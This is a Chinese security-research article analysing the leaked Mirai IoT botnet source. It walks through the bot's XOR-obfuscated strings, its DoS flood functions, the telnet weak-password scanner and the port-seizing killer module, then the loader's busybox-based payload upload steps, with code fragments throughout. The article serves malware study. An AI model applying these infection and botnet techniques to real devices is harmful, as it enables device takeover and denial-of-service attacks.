Mirai源码分析

1. 背景概述

最近的德国断网事件让Mirai恶意程序再次跃入公众的视线,相对而言,目前的IoT领域对于恶意程序还是一片蓝海,因此吸引了越来越多的人开始涉足这趟征程。而作为安全研究者,我们有必要对此提高重视,本文将从另一角度,即以Mirai泄露的源码为例来小窥其冰山一角。

2. 源码分析

选此次分析的Mirai源码(https://github.com/jgamblin/Mirai-Source-Code)主要包含loader、payload(bot)、cnc和tools四部分内容:

loader/src 将payload上传到受感染的设备 mirai/bot 在受感染设备上运行的恶意payload mirai/cnc 恶意者进行控制和管理的接口 mirai/tools 提供的一些工具

其中,cnc部分是Go语言编写的,余下都由C语言编码完成。我们知道payload是在受害者设备上直接运行的那部分恶意代码,而loader的作用就是将其drop到这些设备上,比如宏病毒、js下载者等都属于loader的范畴。对恶意开发者来说,最关键的也就是设计好loader和payload的功能,毕竟这与恶意操作能否成功息息相关,同时它们也是和受害者直接接触的那部分代码,因此这里的分析重点将集中在这两部分代码上,剩下的cnc和tools只做个概要分析。在详细分析之前,我们先给出Mirai对应的网络拓扑关系图,可以有个直观的认识:

2.1 payload分析

这部分代码的主要功能是发起DoS攻击以及扫描其它可能受感染的设备,代码在mirai/bot目录,可简单划分为如下几个模块:

我们首先看一下public模块,主要是一些常用的公共函数,供其它几个模块调用:

/******checksum.c****** *构造数据包原始套接字时会用到校验和的计算 */ //计算数据包ip头中的校验和 uint16_t checksum_generic(uint16_t *, uint32_t); //计算数据包tcp头中的校验和 uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int); /******rand.c******/ //初始化随机数因子 void rand_init(void); //生成一个随机数 uint32_t rand_next(void); //生成特定长度的随机字符串 void rand_str(char *, int); //生成包含数字字母的特定长度的随机字符串 void rand_alphastr(uint8_t *, int); /******resolv.c****** *处理域名的解析,参考DNS报文格式 */ //域名按字符'.'进行划分,并保存各段长度,构造DNS请求包时会用到 void resolv_domain_to_hostname(char *, char *); //处理DNS响应包中的解析结果,可参照DNS数据包结构 static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int*count); //构造DNS请求包向8.8.8.8进行域名解析,并获取响应包中的IP struct resolv_entries *resolv_lookup(char *); //释放用来保存域名解析结果的空间 void resolv_entries_free(struct resolv_entries *); /******table.c****** *处理硬编码在table中的数据 */ //初始化table中的成员 void table_init(void); //解密table中对应id的成员 void table_unlock_val(uint8_t id); //加密table中对应id的成员 void table_lock_val(uint8_t id); //取出table中对应id的成员 char *table_retrieve_val(int id, int *len); //向table中添加成员 static void add_entry(uint8_t id, char *buf, int buf_len); //和密钥key进行异或操作,即table中数据的加密或解密 static void toggle_obf(uint8_t id); /******util.c******/ ...... //在内存中查找特定的字节序 int util_memsearch(char *buf, int buf_len, char *mem, intmem_len); //在具体字符串中查找特定的子字符串,忽略大小写 int util_stristr(char *haystack, int haystack_len, char *str); //获取本地ip信息 ipv4_t util_local_addr(void); //读取描述符fd对应文件中的字符串 char *util_fdgets(char *buffer, int buffer_size, int fd); ......

其中,用的比较多的有rand.c中的rand_next函数,即生成一个整型随机数,以及table.c中的table_unlock_val、table_retrieve_val和table_lock_val函数组合,即获取table中的数据,程序中用到的一些信息是硬编码后保存到table中的,如果获取就要用到这个组合,其中涉及到简单的异或加密和解密,这里举个例子:

//保存到table中的硬编码信息 add_entry(TABLE_EXEC_SUCCESS,"\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15); //调用table_unlock_val解密 //初始化key,其中table_key = 0xdeadbeef; uint8_t k1 = table_key & 0xff, //0xef k2 = (table_key>> 8) & 0xff, //0xbe k3 = (table_key>> 16) & 0xff, //0xad k4 = (table_key>> 24) & 0xff; //0xde //循环异或 for (i = 0; i < val->val_len; i++) { val->val[i] ^= k1; val->val[i] ^= k2; val->val[i] ^= k3; val->val[i] ^= k4; } /*解密后的信息:listening tun0 *这时调用table_retrieve_val就可以获取到所需信息 *最后调用table_lock_val加密,同table_unlock_val调用,利用的是两次异或后结果不变的性质 *不过考虑到异或的交换律和结合律,上述操作实际上也就相当于各字节异或一次0x22 */

接着来看attack模块,此模块的作用就是解析下发的攻击命令并发动DoS攻击,attack.c中主要就是下述两个函数:

/******attack.c******/ //按照事先约定的格式解析下发的攻击命令,即取出攻击参数 void attack_parse(char *buf, int len); //调用相应的DoS攻击函数 void attack_start(int duration, ATTACK_VECTOR vector, uint8_ttargs_len, struct attack_target *targs, uint8_t opts_len, structattack_option *opts) { ...... else if (pid2 == 0) { //父进程DoS持续时间到了后由子进程负责kill掉 sleep(duration); kill(getppid(), 9); exit(0); } ...... if(methods[i]->vector == vector) { #ifdef DEBUG printf("[attack] Starting attack...\n"); #endif //C语言函数指针实现的C++多态 methods[i]->func(targs_len, targs, opts_len, opts); break; } } ...... } }

而attack_app.c、attack_gre.c、attack_tcp.c和attack_udp.c中实现了具体的DoS攻击函数:

/*1)Straight up UDP flood 2)Valve Source Engine query flood * 3)DNS water torture 4)Plain UDP flood optimized for speed */ void attack_udp_generic(uint8_t, structattack_target *, uint8_t, struct attack_option *); void attack_udp_vse(uint8_t, structattack_target *, uint8_t, struct attack_option *); void attack_udp_dns(uint8_t, structattack_target *, uint8_t, struct attack_option *); void attack_udp_plain(uint8_t, structattack_target *, uint8_t, struct attack_option *); /*1)SYN flood with options 2)ACK flood * 3)ACK flood to bypass mitigation devices */ void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t,struct attack_option *); void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t,struct attack_option *); void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t,struct attack_option *); // 1)GRE IP flood 2)GREEthernet flood void attack_gre_ip(uint8_t, struct attack_target *, uint8_t,struct attack_option *); void attack_gre_eth(uint8_t, struct attack_target *, uint8_t,struct attack_option *); // HTTP layer 7 flood void attack_app_http(uint8_t, struct attack_target *, uint8_t,struct attack_option *);

可以看到这里设计的函数接口是统一的,因而可以定义如下函数指针,通过这种方式就可以实现和C++多态同样的功能,方便进行扩展:

typedef void (*ATTACK_FUNC) (uint8_t, structattack_target *, uint8_t, struct attack_option *);

实际上attack这个模块是可以完整剥离出来的,只需在attack_parse或attack_start函数上加一层封装就可以了,要加入其它DoS攻击函数只需符合ATTACK_FUNC的接口即可。

再来看scanner模块,其功能就是扫描其它可能受感染的设备,如果能满足telnet弱口令登录则将结果进行上报,恶意者主要借此扩张僵尸网络,scanner.c中的主要函数如下:

/******scanner.c******/ //将接收到的空字符替换为'A' int recv_strip_null(int sock, void *buf, int len, int flags); //首先生成随机ip,而后随机选择字典中的用户名密码组合进行telnet登录测试 void scanner_init(void); //如果扫描的随机ip有回应,则建立正式连接 static void setup_connection(struct scanner_connection *conn); //获取随机ip地址,特殊ip段除外 static ipv4_t get_random_ip(void); //向auth_table中添加字典数据 static void add_auth_entry(char *enc_user, char *enc_pass,uint16_t weight); //随机返回一条auth_table中的记录 static struct scanner_auth *random_auth_entry(void); //上报成功的扫描结果 static void report_working(ipv4_t daddr, uint16_t dport, structscanner_auth *auth); //对字典中的字符串进行异或解密 static char *deobf(char *str, int *len);

为了提高扫描效率,程序对随机生成的IP会先通过构造的原始套接字进行试探性连接,如果有回应才进行后续的telnet登录测试,而这个交互过程和后面的loader与感染节点建立telnet交互后上传恶意payload文件有重复,因此这里就不展开了,可以参考后面的分析。此外,弱口令字典同样采用了硬编码的方式,解密也是采用的异或操作,这和前面table.c中的情形是相似的,也不赘述了。

最后我们来看下kill模块,此模块主要有两个作用,其一是关闭特定的端口并占用,另一是删除特定文件并kill对应进程,简单来说就是排除异己。我们看下其中kill掉22端口的代码:

/******kill.c******/ ...... //查找特定端口对应的的进程并将其kill掉 if(killer_kill_by_port(htons(22))) { #ifdef DEBUG printf("[killer] Killed tcp/22 (SSH)\n"); #endif } //通过bind进行端口占用 tmp_bind_addr.sin_port =htons(22); if ((tmp_bind_fd =socket(AF_INET, SOCK_STREAM, 0)) != -1) { bind(tmp_bind_fd,(struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); listen(tmp_bind_fd, 1); } ......

另外两处kill掉23端口和80端口的代码与此类似,在killer_kill_by_port函数中实现了通过端口来查找进程的功能,其中:

/proc/net/tcp 记录了所有tcp连接的情况 /proc/pid/exe 包含了正在进程中运行的程序链接 /proc/pid/fd 包含了进程打开的每一个文件的链接 /proc/pid/status 包含了进程的状态信息

此外,程序将通过readdir函数遍历/proc下的进程文件夹来查找特定文件,而readlink函数可以获取进程所对应程序的真实路径,这里会查找与之同类的恶意程序anime,如果找到就删除文件并kill掉进程:

// If path contains ".anime" kill. if (util_stristr(realpath, rp_len - 1,table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1) { unlink(realpath); kill(pid, 9); }

同时,如果/proc/$pid/exe文件匹配了下述字段,对应进程也要被kill掉:

REPORT %s:%s HTTPFLOOD LOLNOGTFO \x58\x4D\x4E\x4E\x43\x50\x46\x22 zollard

3.2 loader分析

这部分代码的功能就是向感染设备上传(wget、tftp、echo方式)对应架构的payload文件,loader/src的目录结构如下:

headers/ 头文件目录 binary.c 将bins目录下的文件读取到内存中,以echo方式上传payload文件时用到 connection.c 判断loader和感染设备telnet交互过程中的状态信息 main.c loader主函数 server.c 向感染设备发起telnet交互,上传payload文件 telnet_info.c 解析约定格式的telnet信息 util.c 一些常用的公共函数

从功能逻辑上看,还需要mirai/tools/scanListen.go的配合来监听上报的telnet信息,因为main函数中只能从stdin读取对应信息:

// Read from stdin while (TRUE) { char strbuf[1024]; if (fgets(strbuf, sizeof(strbuf), stdin) == NULL) break; ...... memset(&info, 0,sizeof(struct telnet_info)); //解析telnet信息 if (telnet_info_parse(strbuf, &info) ==NULL)

接下来我们对这块内容进行详细的分析,同样先看下那些公共函数,也就是util.c文件,如下:

/******util.c******/ //输出地址addr处开始的len个字节的内存数据 void hexDump (char *desc, void *addr, int len); //bind可用地址并设置socket为非阻塞模式 int util_socket_and_bind(struct server *srv); //查找字节序列中是否存在特定的子字节序列 int util_memsearch(char *buf, int buf_len, char *mem, intmem_len); //发送socket数据包 BOOL util_sockprintf(int fd, const char *fmt, ...); //去掉字符串首尾的空格字符 char *util_trim(char *str);

其中用的最经常的是util_sockprintf函数,简单理解就是send发包,但每次的参数个数是可变的。

继续,虽然loader的主要功能在server.c中,但分析它之前我们需要看下余下的3个c文件,因为很多调用的功能是在其中实现的,首先是binary.c文件中的函数:

/******binary.c******/ //bin_list初始化,读取所有bins/dlr.*文件 BOOL binary_init(void) { ...... //匹配所有bins/dlr.*文件,结果存放pglob if(glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0) ...... } //按照不同体系架构获取相应的二进制文件 struct binary *binary_get_by_arch(char *arch); //将指定的二进制文件读取到内存中 static BOOL load(struct binary *bin, char *fname);

即将编译好的不同体系架构的二进制文件读取到内存中,当loader和感染设备建立telnet连接后,如果不得不通过echo命令来上传payload,那么这些数据就会用到了。

接着来看telnet_info.c文件中的函数,如下:

/******telnet_info.c******/ //初始化telnet_info结构的变量 struct telnet_info *telnet_info_new(char *user, char *pass, char*arch, ipv4_t addr, port_tport, struct telnet_info *info); //解析节点的telnet信息,提取相关参数 struct telnet_info *telnet_info_parse(char *str, structtelnet_info *out);

即解析telnet信息格式并存到telnet_info结构体中,通过获取这些信息就可以和受害者设备建立telnet连接了。

然后是connection.c文件中的函数,主要用来判断telnet交互中的状态信息,如下,只列出部分:

/******connection.c******/ //判断telnet连接是否顺利建立,若成功则发送回包 int connection_consume_iacs(struct connection *conn); //判断是否收到login提示信息 int connection_consume_login_prompt(struct connection *conn); //判断是否收到password提示信息 int connection_consume_password_prompt(struct connection *conn); //根据ps命令返回结果kill掉某些特殊进程 int connection_consume_psoutput(struct connection *conn); //判断系统的体系架构,即解析ELF文件头 int connection_consume_arch(struct connection *conn); //判断采用哪种方式上传payload(wget、tftp、echo) int connection_consume_upload_methods(struct connection *conn); //判断drop的payload是否成功运行 int connection_verify_payload(struct connection *conn); //对应的telnet连接状态为枚举类型 enum { TELNET_CLOSED, // 0 TELNET_CONNECTING, // 1 TELNET_READ_IACS, // 2 TELNET_USER_PROMPT, // 3 TELNET_PASS_PROMPT, // 4 ...... TELNET_RUN_BINARY, // 18 TELNET_CLEANUP // 19 } state_telnet;

这里要提一下程序在发包时用到的一个技巧,比如下面的代码:

util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busyboxtftp; " TOKEN_QUERY "\r\n"); //用在其它命令后作为一种标记,可判断之前的命令是否执行 #define TOKEN_QUERY "/bin/busybox ECCHI" //如果回包中有如下提示,则之前的命令执行了 #define TOKEN_RESPONSE "ECCHI: applet not found"

好了,至此我们已经知道如何将不同架构的二进制文件读到内存中、如何获取待感染设备的telnet信息以及如何判断telnet交互过程中的状态信息,那么下面就可以开始server.c文件的分析了,这里列出几个主要函数:

/******server.c******/ //判断能否处理新的感染节点 void server_queue_telnet(struct server *srv, struct telnet_info*info); //处理新的感染节点 void server_telnet_probe(struct server *srv, struct telnet_info*info); //事件处理线程 static void *worker(void *arg) { struct server_worker*wrker = (struct server_worker *)arg; struct epoll_eventevents[128]; bind_core(wrker->thread_id); while (TRUE) { //等待事件的产生 int i, n =epoll_wait(wrker->efd, events, 127, -1); if (n == -1) perror("epoll_wait"); for (i = 0; i <n; i++) handle_event(wrker, &events[i]); } } //事件处理 static void handle_event(struct server_worker *wrker, structepoll_event *ev);

由于loader可能需要处理很多的感染节点信息,因而设计成了多线程方式。对于每一个建立的telnet连接将采用epoll机制来做事件触发,相比select机制会更有优势,所以当loader通过获取的telnet信息连接感染设备后就开始等待相应事件,这其实是通过编写代码来模拟一个简单的渗透过程,即先发送请求包而后根据返回包判断并确定后续的操作,主要包括以下几步,对应的代码在handle_event函数中:

1)通过待感染节点的telnet用户名和密码成功登录; 2)执行/bin/busybox ps,根据返回结果kill掉某些特殊进程; 3)执行/bin/busybox cat /proc/mounts,根据返回结果切换到可写目录; 4)执行/bin/busybox cat /bin/echo,通过返回结果解析/bin/echo这个ELF文件的头部来判断体系架构,即其中的e_machine字段; 5)选择一种方式上传对应的payload文件,当然首先需要进行判断:

//发请求包 util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busyboxtftp; " TOKEN_QUERY "\r\n"); //在返回包中进行判断 if (util_memsearch(conn->rdbuf, offset, "wget: applet notfound", 22) == -1) conn->info.upload_method = UPLOAD_WGET; else if (util_memsearch(conn->rdbuf,offset, "tftp: applet not found", 22) == -1) conn->info.upload_method = UPLOAD_TFTP; else conn->info.upload_method = UPLOAD_ECHO;

oader同时支持wget、tftp、echo的方式来上传payload,其中wget和tftp服务器的相关信息在创建server时需要给出:

struct server *server_create(uint8_t threads, uint8_t addr_len,ipv4_t *addrs, uint32_t max_open,

char *wghip, port_twghp, char *thip); //wget服务器的ip和port,tftp服务器的ip

6)执行payload并清理。

通过上述这几个简单的步骤,loader就能成功实现对受害者节点的感染了。

2.3 cnc与tools简单分析

cnc目录主要提供用户管理的接口、处理攻击请求并下发攻击命令:

admin.go 处理管理员登录、创建新用户以及初始化攻击 api.go 向感染的bot节点发送命令 attack.go 处理用户的攻击请求 clientList.go 管理感染的bot节点 database.go 数据库管理,包括用户登录验证、新建用户、处理白名单、验证用户的攻击请求 main.go 程序入口,开启23端口和101端口的监听

而tools目录主要提供了一些工具,相应的功能如下:

enc.c 对数据进行异或加密处理 nogdb.c 通过修改elf文件头实现反gdb调试 scanListen.go 监听payload(bot)扫描后上报的telnet信息,并将结果交由loader处理 single_load.c 另一个loader实现 wget.c 实现了wget文件下载

3. 后记

总体来看Mirai源码代码量不大而且编码风格比较清晰,理解起来并不难。但是有些地方逻辑上还存在瑕疵,例如:

//***loader/src/util.c*** 查找字节序列中是否存在特定的子字节序列 //逻辑不对,util_memsearch("aabc",4, "abc", 3)就不满足 int util_memsearch(char *buf, int buf_len, char *mem, intmem_len);

但作为IoT下的恶意程序源码还是很值得参考的,特别是随着最近新变种的出现。可想而知变种会加入更多的反调试手段来阻碍分析,而且交互的数据包会更多的采用加密处理,这点还是很容易的,比如在原先异或的基础上加个查表操作,同时对于不同漏洞的利用也会更加的模块化。正因如此,研究其最初的源码是十分有必要的。

4. 参考链接

原文发布于微信公众号 - Seebug漏洞平台(seebug_org)

原文发表时间:2016-12-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏北京马哥教育

MongoDB多纬度监控方法详解

一、mongostat工具方法 mongostat是mongdb自带的状态检测工具,在命令行下使用。它会间隔固定时间获取mongodb的当前运行状态,并输出。如...

4735
来自专栏FreeBuf

隐藏在证书文件中的PowerShell(一)

最近,NVISO实验室分析人员开发了某种YARA规则,利用它发现了多种恶意证书文件(.crt),这些证书文件中包含的并不是真正的认证证书,而是一个恶意的Powe...

1733
来自专栏编程札记

深入golang之---goroutine并发控制与通信

本文章通过goroutine同步与通信的一个典型场景-通知子goroutine退出运行,来深入讲解下golang的控制并发。

1.3K7
来自专栏YG小书屋

ES5.6 Bulk源码解析

4243
来自专栏iOS 开发杂谈

iOS多线程之一:基本概念

进程:就是一个正在执行的程序。 线程:是执行程序最基本的单元,它有自己栈和寄存器。

691
来自专栏编程思想之路

WiFiAp探究实录--功能实现与源码分析

Android虐我千百遍,我待Android如初恋。 ——————编辑于2017-08-02——————— wifi热点说的是wifiAp相...

1.6K9
来自专栏枕边书

用C写一个web服务器(四) CGI协议

前言 时隔一个多月,终于又有时间来更新我的服务器了,这次更新主要实现一下 CGI 协议。 先放上GitHub链接 tinyServer-GitHub-枕边书 作...

4126
来自专栏JackieZheng

RabbitMQ入门-从HelloWorld开始

从读者的反馈谈RabbitMQ 昨天发完《RabbitMQ入门-初识RabbitMQ》,我陆陆续续收到一些反馈。鉴于部分读者希望结合实例来讲 期待下篇详细,最好...

2325
来自专栏程序员宝库

PHP 面试知识梳理

算法与数据结构 BTree和B+tree BTree B树是为了磁盘或者其他存储设备而设计的一种多叉平衡查找树,相对于二叉树,B树的每个内节点有多个分支,即多叉...

42912
来自专栏比原链

剥开比原看代码12:比原是如何通过/create-account-receiver创建地址的?

Gitee地址:https://gitee.com/BytomBlockchain/bytom

1651

扫码关注云+社区

领取腾讯云代金券